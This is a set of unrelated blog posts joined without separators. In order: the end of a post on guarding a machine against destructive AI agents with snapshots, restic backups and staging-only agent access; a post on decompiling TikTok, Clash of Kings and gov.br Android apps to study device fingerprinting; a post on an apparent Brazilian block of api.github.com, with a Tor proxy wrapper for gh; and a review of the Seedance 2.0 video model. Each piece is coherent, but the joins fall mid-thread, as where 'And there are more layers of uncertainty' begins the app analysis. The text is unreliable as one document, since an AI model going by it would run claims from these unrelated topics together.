Mac users have the direct equivalent: APFS, the default filesystem since High Sierra (2017), is also copy-on-write and also has lightweight snapshots. Time Machine is what manages them: with it enabled, macOS takes automatic local snapshots every hour and keeps the last 24 hours on the disk itself, independent of the external backup. And you can create one by hand before letting the agent loose:

# create an APFS local snapshot right now
tmutil localsnapshot

# list the existing snapshots
tmutil listlocalsnapshots /

To recover, open Time Machine itself (“Browse Time Machine Backups” in the menu bar): it browses the local snapshots even without any external disk plugged in, and you restore the file from there. If you prefer the terminal, mount the snapshot read-only with mount_apfs -s and copy it back. In other words, Matt Shumer’s case from the beginning of this post had a native solution on his own Mac: a snapshot from one hour earlier would have brought almost everything back.

On Windows the story is weaker. NTFS has the Volume Shadow Copy service (VSS), which feeds restore points and the “Previous Versions” tab, but it’s aimed at system files and rarely happens to be covering your data at the moment you need it. Nothing with the lightness and predictability of a scheduled CoW snapshot. If you develop on Windows, treat external backup as mandatory, no discussion (and the restic from the next section runs fine on Windows).

Layer 3: external backups with restic

Snapshots live on the same disk as the data. If the NVMe dies, they die together. Which is the other thing I’ve been repeating for years: everybody needs external backups, whether to an external hard drive or a NAS. I use a Synology on the local network, mounted via NFS, and documented the complete setup here.

On top of it runs restic, which in my opinion is the best backup tool for this purpose: deduplication, encryption, incremental snapshots and simple restores. My actual configuration is a script fired by a systemd timer every day at 3am. It checks the NAS is mounted, backs up /home and /mnt/data/Projects skipping caches (node_modules, Rust’s target/, __pycache__ and friends, all in an excludes file), and then applies the retention policy: 7 daily, 4 weekly, 6 monthly, 1 yearly.

Reproducing the essentials looks like this:

# once: create the repository on the NAS
restic init --repo /mnt/nas/desktop-backup

# every day (via cron or a systemd timer):
restic -r /mnt/nas/desktop-backup backup ~ /mnt/data/Projects \
    --exclude-file=~/.config/restic/excludes --exclude-caches

restic -r /mnt/nas/desktop-backup forget \
    --keep-daily 7 --keep-weekly 4 --keep-monthly 6 --keep-yearly 1 --prune

And if the truly bad day arrives (destructive agent, dead disk, ransomware, the cause doesn’t matter):

# list the available snapshots
restic -r /mnt/nas/desktop-backup snapshots

# restore a specific file or directory
restic -r /mnt/nas/desktop-backup restore latest \
    --target /tmp/recuperado --include /home/akitaonrails/Projects/meu-app

# or mount the whole repository as a filesystem and browse at your leisure
restic -r /mnt/nas/desktop-backup mount /mnt/restic

Notice the layered architecture: the BTRFS snapshot solves the accident from minutes ago in seconds. restic solves the disaster from days ago, including dead hardware. An AI agent would have to be very dedicated to punch through both layers, and even then there would still be yesterday’s copy on the NAS, which it can’t even reach.

What about companies? Professionalism

Everything above is about my personal machine. Now let’s raise the bar: corporate environments.

Rule number one is simple and non-negotiable: no AI agent should ever have access to production. Ever. No direct SSH into production servers, no production database credentials, no admin tokens for production services. If your agent can run a DELETE against the database that serves customers, the problem stopped being the AI a long time ago: any intern with the same access is the same time bomb, just with a slower typing speed.

Agents in staging, on the other hand, I advocate for. That’s what staging is for. But even in staging there’s a right way: you resist the temptation of prompting one-shot actions (“run an apt install over there”, “do a systemctl restart”, “connect to postgres and execute this”). A loose command executed by hand is knowledge that evaporates. Your infrastructure needs to be automated and reproducible: Ansible, Kubernetes, Terraform, whatever makes sense for your stack. The agent’s role becomes writing and refining those recipes, which live versioned in git.

A small example, right here from my desk

I have a gaming environment on my main PC, but I refuse to mix emulator packages with my software development environment. So I isolated gaming inside a distrobox. For those who don’t know it: distrobox creates containers (via podman or docker) that integrate with your desktop as if they were native. They share your home (or a dedicated home), GPU access, Wayland, audio. In practice it’s a complete distro inside your distro, with a separate package space.

distrobox-gaming is a repository of Ansible playbooks that builds an Arch box called gaming from scratch: ES-DE as the frontend, standalone emulators (shadPS4, RPCS3, PCSX2, Dolphin, DuckStation, Eden and a dozen more), RetroArch cores, per-game optimized configs, launcher shortcuts on the host. And distrobox-llm does the same for a local LLM work box: CUDA, cuDNN, Ollama, whisper.cpp and LM Studio isolated in a box with --nvidia, while the host only carries the driver. A CUDA major version upgrade no longer rattles my development environment.

Who wrote the overwhelming majority of these playbooks? The agents. Instead of asking “install RPCS3 for me”, my prompt is “write the idempotent Ansible recipe that installs and configures RPCS3, run it, verify the result and fix it until it passes”. Here’s a real excerpt from the role that creates the LLM box:

- name: Check if distrobox exists
  ansible.builtin.shell: "distrobox list 2>/dev/null | awk '{print $3}' | grep -qx {{ dl_box_name }}"
  register: _box_exists
  changed_when: false
  failed_when: false

- name: Create distrobox
  ansible.builtin.command: >-
    distrobox create
    --name {{ dl_box_name }}
    --image {{ dl_image }}
    --home {{ dl_box_home }}
    {{ '--nvidia' if dl_nvidia_enabled else '' }}
  when: _box_exists.rc != 0

Idempotent: it checks whether the box exists before creating it, running it twice gives the same result. If my PC catches fire tomorrow, I recreate both environments in full with one ansible-playbook site.yml in each repo. The knowledge lives in the recipe, versioned, auditable. Zero commands lost in shell history.

Scaling the same principle to production

At a company, swap distrobox for Kubernetes and the principle is identical. The agent writes the manifest, tests it on the staging cluster, you promote it to production manually:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: minha-api
spec:
  replicas: 3
  selector:
    matchLabels:
      app: minha-api
  template:
    metadata:
      labels:
        app: minha-api
    spec:
      containers:
        - name: minha-api
          image: registry.exemplo.com/minha-api:v42
          readinessProbe:
            httpGet:
              path: /healthz
              port: 8080
          resources:
            limits:
              memory: 512Mi

The professional flow: the agent produces and adjusts the manifest (or the Helm chart, or the Terraform module), applies it to staging (kubectl apply -n staging), runs the tests, watches for side effects, bugs, unintended behavior, and iterates until you’re satisfied. Then YOU, a human, promote it to production (via a reviewed PR in a GitOps flow, or a manual and deliberate kubectl apply), monitoring every step. The agent did all the heavy lifting: the artifacts, the procedures, the checklists. You can even ask it to generate the audit documentation at the end. But the finger that presses the production button has a name on a payroll.

Even the “simple” maintenance SQL

A case that looks harmless and bothers me a lot: maintenance SQL commands in production. Plenty of people have always run those by hand, straight into the production client, and are now asking the agent to write AND execute them. That is unacceptable, with or without AI. Your system should have a migrations workflow: the change becomes versioned code, runs in staging first, gets validated, and only then executes in production inside the normal deploy process.

And “production”, by definition, means two things many companies pretend to have. First: real backups, tested, with rehearsed restores.

Never run anything in production that you can’t recover from.

Second: monitoring. If you have no visibility into the state of the system, you don’t have production, you have a server plugged into an outlet and a prayer.

Monitoring: even on my humble PC

And monitoring is so much a part of the discipline that I apply it even to my personal machine. I recently developed a system health widget for my clock-tui (my maintained fork of the original clock-tui, with command widgets in clock mode). It sits open in a corner showing this:

One verdict line (“all systems healthy”) and the state of everything this post described: the restic backup ran 19 hours ago and the next one is at 03:03; Timeshift keeps 23 snapshots; the development cache cleanup ran 32 hours ago; the BTRFS scrub is up to date on each filesystem, with a recent trim, healthy allocation and zero I/O errors; plus zombies, load, memory and each disk’s usage. The widget (tclock-system-health) ships with the repository and the AUR package, and detects most of this on its own.

Behind it are the automated maintenance jobs, all systemd timers: the daily restic at 3am; dev-cache-clean (on the 1st and the 15th) sweeping orphaned Rust target/ dirs and the yay cache, which together give back dozens of gigs; the monthly per-filesystem btrfs-scrub validating checksums; the weekly fstrim. None of it requires me to remember anything. When one of them is late or fails, the widget changes color right in my face.

This is the home-grade level, proportional to a personal PC. At a company you go full-blown: Prometheus collecting metrics, Grafana drawing the dashboards, Alertmanager waking up the on-call person at 3am. The scale changes, the principle is the same: the state of the system visible at all times, and someone (or something) getting notified when it goes off the rails.

Conclusion: discipline

Go back to the two tweets at the beginning. In both cases, a single wrong command caused real loss, and the public discussion became “who do I trust more”. The right question is a different one: why does a single wrong command, from any origin, have the power to cause unrecoverable loss on your machine?

Being a professional is being disciplined, and discipline starts at home. My personal PC operates with the same rigor I would demand from a corporate environment: a filesystem with lightweight scheduled snapshots, recoverable boot via GRUB, daily external backups with a retention policy, a sandbox for suspicious sessions, isolated environments rebuildable from versioned recipes, automated maintenance and a monitor that warns me when any piece falls behind. Monthly maintenance cost of all this: close to zero. It was set up once (in good part by the agents themselves) and runs on its own.

With these layers, the question in the title almost loses its meaning. The agent deleted a directory? Snapshot from an hour ago, two minutes of recovery. Destroyed the system? Boot into a snapshot via GRUB, restore, ten minutes. Fried the disk along with it? restic on the NAS, yesterday’s backup. In five months of YOLO mode I never needed any of these nets for an AI accident. But I sleep well precisely because they’re there.

An LLM running loose on your system is just the most recent stress test of your discipline. If an out-of-control agent can cause permanent loss to your data, the vulnerability was always there, waiting for a mistake of yours, a bad disk or a ransomware. The agent was just the messenger that arrived first.

And there are more layers of uncertainty. The APKs came from APKPure, not the official Play Store, so there’s a chance (small, but real) they were tampered with along the way. And even after decompiling, there’s a pile of binary libraries and SDKs we didn’t crack open, assuming they’re common libs like Google Firebase or Google Play Services. This mini-project was, at bottom, my own curiosity: I wanted to know what’s inside these apps we install without thinking.

Decompiling Android is way too easy

Something a lot of people don’t know: an Android app is way too easy to decompile. The APK is basically a zip. You unpack it, run a tool like jadx on the .dex files, and readable Java comes out the other end. If the app is Flutter, you can reconstruct the Dart with Blutter. If it’s a Cocos2d-x game, the Lua scripts are often sitting right there in plaintext, no decryption needed.

This does not let you recompile the app from the source (class and method names come scrambled by obfuscation, resources are missing, the signing keys are missing). But for static analysis it’s more than enough: you can read the endpoints the app contacts, the permissions it asks for, the identifiers it assembles, the SDKs it bundles. That’s exactly the kind of reading I asked Fable 5 to do.

One honest limit: the most sensitive part usually lives in native code (.so), compiled C/C++, which doesn’t decompile into anything readable. In TikTok’s case, that’s precisely where the guts are, and I’ll come back to it in a bit.

“If it’s free, you’re the product”

You’ve heard that line a thousand times. It’s true, but it almost always stays abstract. Let’s make it concrete: how exactly do you become the product? The answer has a technical name, and it’s why I picked this angle for the title: fingerprinting.

A fingerprint (device fingerprint) is a persistent identifier the platform assembles by combining dozens of signals from your device: phone model, OS version, screen resolution, CPU, RAM, carrier, timezone, language, battery, installed fonts, nearby Wi-Fi and Bluetooth networks, motion sensors, and so on. None of those data points identifies you on its own. But the combination of them is so specific it becomes practically unique, an implicit “serial number” for your device that you never explicitly authorized.

The clever part, and the reason it’s so valuable, is the persistence. A cookie you can clear. The advertising ID you can reset. But a well-built fingerprint survives you clearing the app’s data, survives a reinstall, sometimes survives a factory reset. It re-identifies you as the same person after any attempt to start from scratch. That’s why companies want it so badly: with the fingerprint, they cross-reference your behavior across apps, across sessions, across reinstalls, and build a profile that follows you even when you think you wiped your tracks. That profile is the product from the line above. And the product is you.

The three apps I analyzed sit at three very different points on that spectrum, and that’s where it gets interesting.

The three apps

TikTok: industrial-grade collection, armored against auditing

The tiktok_analysis was the densest one. Version 46.0.1, 37 dex files, 204 native libraries. The honest conclusion, and the one I think is fairest: it’s not disguised malware, but it is industrial-grade data collection engineered to be hard to audit.

On the reassuring side: no secret servers. Every host the app contacts belongs to TikTok/ByteDance or to a named ad/analytics vendor (Adjust, AppsFlyer, Facebook, Google, ThreatMetrix, Amazon). We found no IMEI or MAC collection, no QUERY_ALL_PACKAGES, no reading of SMS or call logs. US and EU user data goes to dedicated enclaves (the famous Project Texas, with Oracle in Ashburn).

On the worrying side: it collects a lot. A persistent device fingerprint, precise location, Wi-Fi and Bluetooth scanning, contacts upload (if you enable “find friends”), motion sensors, and a check against a fixed list of 91 named apps to see which ones you have installed (competitors, PayPal, Venmo, Spotify, sister ByteDance apps). Your advertising ID fans out to about 6 third parties.

And the central finding: the fingerprint and much of the telemetry are assembled in native code (libmetasec_ov.so and a stack of crypto libs), with each request’s signature going out encrypted. Meaning, even decompiling the whole app, you can’t tell exactly which bytes leave the device.

To attack that black box specifically, one of the analyses ran a strings sweep over the 204 native libraries (the repo’s report 13), and there libmetasec_ov.so gives the game away in plaintext. You can read the fields it collects (secdeviceid, device_id, battery level and state, screen size), the function that signs the requests, the ByteDance telemetry endpoints baked into the binary, and even the scheduler that fires the upload on a timer. What the Java layer only let you infer, the native code confirms. It’s a fingerprinting machine, plain and simple.

And the same sweep went looking for exactly what everyone’s afraid of finding (keylogger, screen recorder, input injection) and found none of it. The scary keyword hits were false friends: keylog was the TLS debug log, screenshot was the video player and C2PA content authenticity, getevent was a media method name. There’s anti-debug and frida/xposed detection, yes, but that’s the app inspecting itself from the inside, standard security-library behavior, not snooping on the rest of the phone.

So the opacity is still the point, just sharper: we know what libmetasec_ov does and where it reports to, and what stays locked are the exact payload bytes, which only native disassembly or live capture would reveal. “Not proven to be spyware” and “collects far more than it needs, opaquely” are both true at once, now with plaintext confirmation that the fingerprinting engine is real.

Clash of Kings: the game is honest, the monetization is predatory

The clash_of_kings_analysis was a pleasant surprise on the privacy front. It’s a strategy game by China’s Elex, a Cocos2d-x engine with almost 12,000 Lua scripts in plaintext. And check it out: no GPS, no camera, no microphone, no contacts, no SMS, no IMEI. The two most sensitive reads it can do (installed-app list and Wi-Fi MAC) are both consent-gated. No malware, no hidden exfiltration.

The privacy concern is the same villain as TikTok in a simpler version: a reset-resistant device UUID, written in four different places (system settings, preferences, SD card, and cloud backup) precisely to survive a reinstall. Plus telemetry to China-region infra and to Tencent Bugly.

Where Clash of Kings really weighs on you is the monetization. It’s the complete predatory free-to-play kit: loot boxes (the hero “luck draws”), countdown-timer offers to manufacture FOMO, VIP pay-to-win tiers, cumulative-spend ladders with leaderboards for who spends the most (the whale hunt), a monthly card, the whole package. The half-full side: drop-rate odds are disclosed in-game, and the Chinese anti-addiction and real-name system for minors is present. Decent privacy, wallet in danger.

Gov.br: the example of how to do it right (with one caveat)

The govbr_analysis is the counterpoint, and it actually left me relieved. It’s the official digital-identity app of the Brazilian government, built in Flutter (I reconstructed the Dart with Blutter). By the standards of a mandatory government app, it’s well-built and privacy-respectful: traffic is almost all to *.gov.br, SERPRO and Dataprev, TLS is certificate-pinned, credentials sit in Android’s encrypted KeyStore, the ICP-Brasil signing uses FIPS-grade crypto, and the app hardens hard against rooted or tampered devices. And most importantly: no commercial ad trackers. No Segment, Adjust, AppsFlyer, or Meta.

The two honest caveats: it bundles Google Firebase (Analytics, Crashlytics, Messaging, Remote Config) with collection on by default and the ad-id permission declared, which is the lazy default of nearly every app today; and your proof-of-life selfie gets uploaded to the government backend for identity matching, which is inherent to the purpose and doesn’t go to third parties. The one item only live traffic capture would settle is whether your CPF gets attached to the Crashlytics reports. But overall, if every app were built with this kind of care, this post wouldn’t exist.

What almost every app carries along

Cross-referencing the three (and this is where the pattern shows up), you can see what tends to come bundled in the app you download, even in a government app:

• Google Firebase / Play Services: present in all three. Analytics, Crashlytics (error reporting), Cloud Messaging (push), Remote Config. It’s so ubiquitous it became invisible infrastructure. And it ships with collection on by default.
• Ad attribution stack: Adjust, AppsFlyer, Branch.io, Singular, Facebook SDK. The job is to link “you clicked this ad” to “you installed and used the app.” TikTok had a redundant pileup: five of these at once, each collecting your ad-id independently.
• Ad networks: Google’s AdMob/DoubleClick, and in the games’ case the ad-mediation ecosystem.
• Region-specific analytics/crash: Tencent Bugly in Clash of Kings is the example, telemetry going to Chinese infra.
• A specialized fingerprint/anti-fraud service: the most striking case was LexisNexis’s ThreatMetrix in TikTok: a company whose business literally is building device fingerprints for fraud detection. Legit for anti-fraud use, but it’s literally a fingerprint-as-a-service machine, embedded.

The takeaway is that “product” isn’t assembled by a single company. It’s five, six, seven partners, each grabbing a piece, and the fingerprint stitching it all back into one profile. Nobody’s spying on you alone. It’s a group effort.

What you can do

You won’t zero this out short of leaving the internet, but you can cut the exposed surface down a lot:

• Don’t consent to what isn’t needed. GPS is the big one. A video app doesn’t need your precise location to work. Deny it, or grant only “while using the app.” Same goes for contacts, microphone, and camera: only allow them when the feature you want to use right now requires it.
• Reset your advertising ID now and then (and on Android, you can choose to “delete advertising ID” outright). It doesn’t kill the fingerprint, but it breaks part of the trail.
• Be suspicious of “find friends.” That’s the contacts-upload trigger. You hand over the entire social network of people who trusted you with their number.
• Prefer the web version when you can. A browser with a tracker blocker exposes less fingerprint than the native app, which has access to sensors and signals the browser doesn’t give up.
• Accept the trade-off consciously. The point isn’t to go paranoid and uninstall everything. It’s to know the price. If you find TikTok fun enough to pay for it with your fingerprint, great, that’s an informed decision. The problem is paying without knowing you’re paying.

The point of the post

None of this proves or disproves that a specific app is 100% safe. Static analysis shows what the app is capable of doing, what’s built inside it; only live traffic capture, with a rooted device and a MITM proxy, would show what actually leaves over the network on each request. I didn’t go that far. This is a glimpse, not a verdict.

And that’s exactly the point. Today, with a good LLM and a free afternoon, any curious developer can crack open their own phone and see what’s running inside it, without depending on some tech influencer’s opinion or an alarmist headline. The three full analyses are on GitHub (TikTok, Clash of Kings, gov.br) with step-by-step instructions to reproduce. Grab an app you use every day and do the same. It’s the closest thing to reading the label before you eat that we have in the software world.

Ayub posted on X that this has all the usual signs of a national block ordered by Anatel against api.github.com. In that same context, the tweet he quoted showed api.github.com resolving to 4.228.31.149, but with no working route. The author said he tested through VIVO, Claro, and Oracle, and that it only worked through a Miami VPN. In other words: this does not look like “my Wi-Fi is down.” It looks like a block somewhere in the path.

According to Ayub, this kind of thing often happens in blocking waves, many times after Wednesday meetings with large carriers, inside the Brazilian mechanism for blocking addresses under the excuse of fighting piracy. The problem is the blast radius: instead of taking down only the target, it breaks legitimate infrastructure. Today it was the GitHub API. Tomorrow it can be anything your work depends on.

And yes, I confirmed it from here.

How to know if you were affected

First, test whether the main site opens:

curl -4 -I --connect-timeout 8 --max-time 12 https://github.com/

Here it worked. Then test the API:

curl -4 -I --connect-timeout 8 --max-time 12 https://api.github.com/

Here I got:

curl: (28) Connection timed out after 8002 milliseconds

Now check which IP your system resolves:

getent ahostsv4 api.github.com

In my case:

4.228.31.149    STREAM api.github.com
4.228.31.149    DGRAM
4.228.31.149    RAW

And gh depends on this API too. So commands like these may hang:

gh api rate_limit
gh pr list
gh issue list

If you are a developer and suddenly gh stopped, your release scripts stopped, your PR-listing bot stopped, or some CLI that queries issues started hanging, this may be it. It is not your bug. Your route to api.github.com is being thrown into a hole.

First try DNS 9.9.9.9

Some people mentioned that changing DNS to Quad9, 9.9.9.9, could work around it. It makes sense to test, because some blocks are done through DNS: the provider returns the wrong IP, NXDOMAIN, or sends you into a sinkhole. If the problem is only your provider’s DNS, changing DNS fixes it.

Test without changing anything in the system:

dig @9.9.9.9 +short api.github.com A

In my case, it did not help. Quad9 also returned:

4.228.31.149

And forcing that IP in curl still timed out:

curl -4 -I --connect-timeout 8 --max-time 12 \
  --resolve api.github.com:443:4.228.31.149 \
  https://api.github.com/

Result:

curl: (28) Connection timed out after 8002 milliseconds

So, on my link, 9.9.9.9 did not fix it. But test yours. If your provider is only poisoning DNS, it may work.

On Arch with NetworkManager, it would be something like this:

sudo pacman -S bind-tools curl

nmcli con show --active
sudo nmcli con mod "YOUR CONNECTION NAME" \
  ipv4.ignore-auto-dns yes \
  ipv4.dns "9.9.9.9 149.112.112.112"
sudo nmcli con down "YOUR CONNECTION NAME"
sudo nmcli con up "YOUR CONNECTION NAME"

On Ubuntu, same idea. Install the tools and adjust through NetworkManager:

sudo apt install dnsutils curl
nmcli con show --active

Or use the GNOME/KDE network settings screen and set manual DNS to 9.9.9.9 and 149.112.112.112 for the connection. Then disconnect and reconnect.

Test again:

dig +short api.github.com A
curl -4 -I --connect-timeout 8 --max-time 12 https://api.github.com/

If it works, good. You are done here.

If it keeps timing out, DNS was only the first layer. Then you need to route the connection through another path.

Why I do not like the fixed-IP hack

Another suggestion I saw was manually adding IPs to local DNS, like Pi-hole, Unbound, /etc/hosts, dnsmasq, that sort of thing. Example: “resolve api.github.com to this other IP that works.”

That can work for a few hours. I don’t like it.

GitHub is large infrastructure. IPs change. Routes change. Load balancing changes. Regions change. The IP that works for somebody in Miami may be bad for you in São Paulo. The IP that works today may fail tomorrow. And if the block is a blackhole route at the provider, changing DNS to another IP may only trade one hole for another.

Pi-hole is great for a home network. Unbound is great. /etc/hosts saves you in an emergency. But pinning the IP of a large service like GitHub is how you forget an invisible hack and lose two hours next month trying to understand why only your machine is broken.

Use alternate DNS as a test. Use fixed IP only as a temporary bandage and document where you changed it.

Fallback: SOCKS proxy only for GitHub tools

My solution was the least invasive thing I could make: a wrapper that starts a local SOCKS proxy through Tor and runs only the command I choose through it. It does not route the whole system. It does not touch the browser. It does not affect package managers, Steam, banking, nothing. Just gh, or whatever tool I explicitly call.

In my case, the wrapper lives at ~/.config/zsh/bin/github-proxy, and the alias in ~/.config/zsh/aliases does this:

alias gh='$HOME/.config/zsh/bin/github-proxy gh'

The wrapper is this:

#!/bin/bash
set -euo pipefail

proxy_host="127.0.0.1"
proxy_port="9050"
tor_dir="${XDG_RUNTIME_DIR:-/tmp}/github-proxy-tor"
tor_rc="$tor_dir/torrc"
tor_log="$tor_dir/tor.log"

if [[ $# -eq 0 ]]; then
  echo "usage: github-proxy <command> [args...]" >&2
  exit 2
fi

if ! ss -ltn "sport = :$proxy_port" | grep -q "$proxy_host:$proxy_port"; then
  mkdir -p "$tor_dir"
  : >"$tor_rc"
  tor -f "$tor_rc" --SocksPort "$proxy_host:$proxy_port" --DataDirectory "$tor_dir/data" >"$tor_log" 2>&1 &

  for _ in {1..60}; do
    if grep -q 'Bootstrapped 100%' "$tor_log"; then
      break
    fi
    if ! kill -0 "$!" 2>/dev/null; then
      echo "github-proxy: tor exited before bootstrap; see $tor_log" >&2
      exit 1
    fi
    sleep 1
  done

  if ! grep -q 'Bootstrapped 100%' "$tor_log"; then
    echo "github-proxy: timed out waiting for tor bootstrap; see $tor_log" >&2
    exit 1
  fi
fi

export HTTPS_PROXY="socks5h://$proxy_host:$proxy_port"
export HTTP_PROXY="socks5h://$proxy_host:$proxy_port"
export ALL_PROXY="socks5h://$proxy_host:$proxy_port"

exec "$@"

Notice socks5h. That h matters. It makes DNS resolution happen through the proxy, not through your local network. If you use plain socks5://, depending on the library, DNS may still happen locally before the proxy is used. With socks5h://, the idea is: “take the hostname to the other side and resolve it there.”

Installing on Arch

On Arch:

sudo pacman -S tor github-cli iproute2
mkdir -p ~/.local/bin

Create the script:

nano ~/.local/bin/github-proxy

Paste the wrapper above and make it executable:

chmod +x ~/.local/bin/github-proxy

Test it directly:

~/.local/bin/github-proxy gh api rate_limit --jq .resources.core.limit

An authenticated account usually returns:

5000

That is what happened here. Direct timed out. Through the wrapper, gh api rate_limit --jq .resources.core.limit returned 5000.

Now add an alias to your shell.

ZSH:

echo "alias gh='$HOME/.local/bin/github-proxy gh'" >> ~/.zshrc
source ~/.zshrc

Bash:

echo "alias gh='$HOME/.local/bin/github-proxy gh'" >> ~/.bashrc
source ~/.bashrc

Test:

gh api rate_limit --jq .resources.core.limit
gh pr list

Ubuntu

On Ubuntu, the Tor package is easy:

sudo apt update
sudo apt install tor iproute2 curl

For GitHub CLI, if the gh package is available in your version:

sudo apt install gh

If it is not, follow the official GitHub CLI installation for Ubuntu/Debian. The rest is the same: create ~/.local/bin/github-proxy, run chmod +x, and put the alias in .bashrc or .zshrc.

Better alternatives than Tor

Tor worked and it is convenient, but it is not the only option. Sometimes it is slow. Sometimes a service dislikes Tor exits. For gh api and listing PRs, fine. For heavier use, you may want something more predictable.

Reasonable options:

• Normal VPN: Proton, Mullvad, IVPN, your own WireGuard. Route everything or use split tunneling if you know how to configure it.
• Tailscale with an exit node outside Brazil: clean, if you have a trusted machine outside the country or a VPS.
• SSH SOCKS to a VPS: ssh -N -D 127.0.0.1:9050 user@your-vps. Then use the same HTTPS_PROXY=socks5h://127.0.0.1:9050.
• Corporate proxy: if your company has egress outside Brazil, configure only the tools that need it.

The care here is not changing everything at the same time. First prove that direct api.github.com fails. Then prove that another path works. Only then automate.

Adjusting your own tools: ghpending

This block also hit one of my utilities: ghpending. I already wrote about it in “I Built a CLI to Check My GitHub Pending Stuff: ghpending”. It lists open issues and pull requests across my repositories, so I know where somebody is waiting for an answer.

The problem is obvious: it uses the GitHub API. If api.github.com falls into a hole, it falls with it.

So I added a proxy fallback. ghpending now reads GITHUB_TOKEN like before, but also tries to use a SOCKS proxy in this order:

1. GHPENDING_GITHUB_PROXY, if you want to force a specific proxy.
2. HTTPS_PROXY, https_proxy, ALL_PROXY, or all_proxy, if they are socks5:// or socks5h://.
3. A local SOCKS proxy at 127.0.0.1:9050, if one is listening.
4. If none of that exists, it tries direct access.

In the README, it looks like this:

GITHUB_TOKEN=$(gh auth token) ghpending

And for proxy:

GHPENDING_GITHUB_PROXY=socks5h://127.0.0.1:9050 ghpending

Or just run it through the wrapper:

~/.local/bin/github-proxy ghpending

My wrapper starts Tor on 127.0.0.1:9050; ghpending detects that proxy and uses it for API calls. If you are not blocked, it keeps working directly. If you are blocked, it has an escape route.

This is the kind of fallback every Brazilian dev should now consider for tools that depend on foreign APIs. It is ugly, but the Brazilian internet is getting unpredictable.

The political problem

At the end of the thread, Ayub reminded everyone that, because of these secret collateral blocks and their side effects, there would already be around 250 million addresses blocked on the Brazilian internet. He also linked a presentation about the state of blocking in Brazil. In another tweet in the same thread, he says authorities defend secrecy as the only alternative left to fight crime.

I do not buy that excuse.

Secret blocking of critical infrastructure, with no transparency, no public adversarial process, no auditable list, no explanation of scope, is operational censorship. In my read, it is illegal precisely because it dodges the public, auditable process that should exist when the State orders internet access to be broken. Maybe it started with pirate TV boxes. Maybe the speech sounds noble. But the mechanism is there: somebody presses a button, carriers apply the block, legitimate users only find out when a work tool stops.

Today, the collateral damage hit honest developers trying to work with GitHub. Tomorrow it hits a Linux package, a container registry, a CDN, a payment API, an authentication service. Then everybody runs to VPNs, Tor, proxies, alternate DNS, /etc/hosts, Pi-hole. Congratulations: little by little, we are rebuilding the survival manual for a censored internet.

No need to overdo the metaphor. Brazil is not China yet. But the smell is the same: centralized opaque blocking, collateral damage, and ordinary users having to learn bypasses to work.

If you were affected, document it. Run the commands. Save outputs. Open an issue with your provider. Complain with data. Share workarounds, but do not normalize this. A bypass is a bandage. The real problem is a State giving itself the power to silently break pieces of the internet.

And if all you wanted was to run gh pr list to review a pull request: welcome to Brazilian infrastructure in 2026.

The pitch is strong. It’s a multimodal video generation model that takes text, up to 9 reference images, 3 reference video clips, and 3 audio tracks all in the same call. On top of that, it produces up to 15 seconds of output with native synced audio (dialogue, sound effects, ambient music), supports video extension, surgical editing of characters and objects, and prompt-driven camera planning. ByteDance is pitching it at commercial advertising, explainer videos, film production, e-commerce, and gaming. Translation: for content creators trying to climb out of the “random meme” tier and start producing things that look professional.

If you want a quick visual tour before going further, here’s a great walkthrough from Stefan, of the Stefan 3D AI Lab channel, which I already plugged in the post on AI 3D modeling:

The main interface is Dreamina’s “Photo Studio,” where you pick the generation mode and stack your references. So far I’ve only tested the standard multi-reference mode.

Test 1: lip sync with podcast audio

My first test was simple. I grabbed a few seconds of the opening bumper from my podcast The M.Akita Chronicles, which is generated by AI through an ElevenLabs v3 pipeline, passed in my new anime-style avatar as a reference image, and asked Seedance to make the character lip-sync and gesture along with that audio.

The result is decent. All of that came from a single still image. The lip sync follows the speech reasonably well, the expression has some life to it, and the hand gesture lands at the right beat. But this is a YouTube short or Instagram clip at best. Not the kind of animation you’d open a serious video with.

The feature that actually matters: video reference

And here’s what I think is the only real use of these models for actual work: feeding in video as a reference. Text alone is never going to be precise enough. You can describe a scene with whatever vocabulary you want, swap adjectives, specify lens, angle, framing, and every generation will still hand you back something subtly different. It’s a slot machine. Great for memes, terrible for production.

Most amateurs see one random clip that comes out nice on the first try and go straight to flooding their X and Instagram feeds with it. That’s not control. That’s luck. For film, for ads, for show openers, for anything where the next shot has to match the previous one, you have to be able to tell the model: “do exactly this motion, with exactly this camera.” That’s where reference video changes the game, because it replaces hours of 3D modeling, rigging, animation, and rendering that would cost a fortune in a studio.

For my test, I recycled the model I’d already generated in the post on AI 3D with Hunyuan and Nano Banana, where I tested how far you can take 3D modeling from a prompt and even hit “print” on the result. But for something more cinematic I wanted a model with a proper animation cycle. So I grabbed the Darth Talon model from Sketchfab, which has a short, well-made motion sequence, just because it looked cool.

I imported the FBX into Blender, set up a basic camera and lighting, and did a quick Cycles render. Nothing pretty about it, just a sketch to feed in as motion and framing reference.

I uploaded that render to Seedance as a video reference along with three t-pose images of the character (front, back, left side) for visual consistency:

First attempt, with a generic prompt:

Not bad. The character keeps its identity, the lighting got a serious upgrade over my raw render, and the clip is coherent. But the motion and camera position drifted noticeably from the reference. The model basically read it as “there’s a character here that looks like that doing something like that,” and improvised the rest.

Then I remembered Stefan’s tutorial: the trick is to literally drop something like Follow exact motion and camera from reference video into the prompt. Tried again:

A lot better. It’s clearly following the reference choreography, the camera angle matches in several beats, and the character looks more polished than anything I could hand-render in a quick Cycles sketch. But it’s still not a frame-for-frame match. In some shots the model is still taking liberties with timing, position, and framing. There are other prompting tricks and parameters to play with, but I stopped here to write this up while the launch is still fresh.

ComfyUI, Runway, and the rest of the ecosystem

Seedance 2.0 also already shipped as a ComfyUI cloud node, which is great for anyone who wants to drop the model into a bigger pipeline without bouncing between web UIs. If you’ve already got an image-gen workflow built in ComfyUI, this is genuinely handy.

And for anyone who wants volume without doing the per-generation credit math, Runway is offering Seedance 2.0 as part of their Unlimited plan, which runs around $76/month annual or $95/month monthly. “Unlimited” means no per-generation charge, but you do trade for lower queue priority at peak hours and an output storage cap. If you iterate a lot, the subscription model makes way more sense than buying credits one at a time.

The price question

Seedance’s own pricing is credit-based. The Standard plan is $24.90/month annual or $49.90/month monthly, and gets you 2,500 credits a month. Every 10 seconds of generated video burns 6 credits.

The math is brutal. With 2,500 credits on Standard, you get about 416 ten-second generations a month. Sounds like a lot, until you remember my own test: it took at least two tries to get close to what I wanted, and even then it wasn’t a one-to-one match. In practice, plan on 3 to 5 regenerations per usable scene. That drops your real number to something like 80 to 140 short clips per month. Maybe enough for a solo creator doing short-form content. Nowhere near enough for production that needs minutes of polished, continuous video.

